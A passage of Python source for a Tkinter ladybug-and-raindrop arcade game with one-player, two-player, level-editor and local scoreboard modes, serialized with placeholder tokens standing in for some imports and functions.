canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\ndef splashScreenMousePressed(event, data):\n if (data.splashButtonY - 2 * data.r <= event.x <= data.splashButtonY + \n 2 * data.r):\n if data.p1ButtonX - data.r <= event.y <= data.p1ButtonX + data.r:\n data.mode = '1Player'\n if data.p2ButtonX - data.r <= event.y <= data.p2ButtonX + data.r:\n data.mode = '2Player'\n if data.edButton - data.r <= event.y <= data.edButton + data.r:\n data.mode = 'editor'\n if data.diffButton - data.r <= event.y <= data.diffButton + data.r:\n data.mode = 'difficulty'\n if data.helpButton - data.r <= event.y <= data.helpButton + data.r:\n data.mode = 'help'\n if data.sboardButton - data.r <= event.y <= data.sboardButton + data.r:\n data.mode = 'scoreboard'\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n 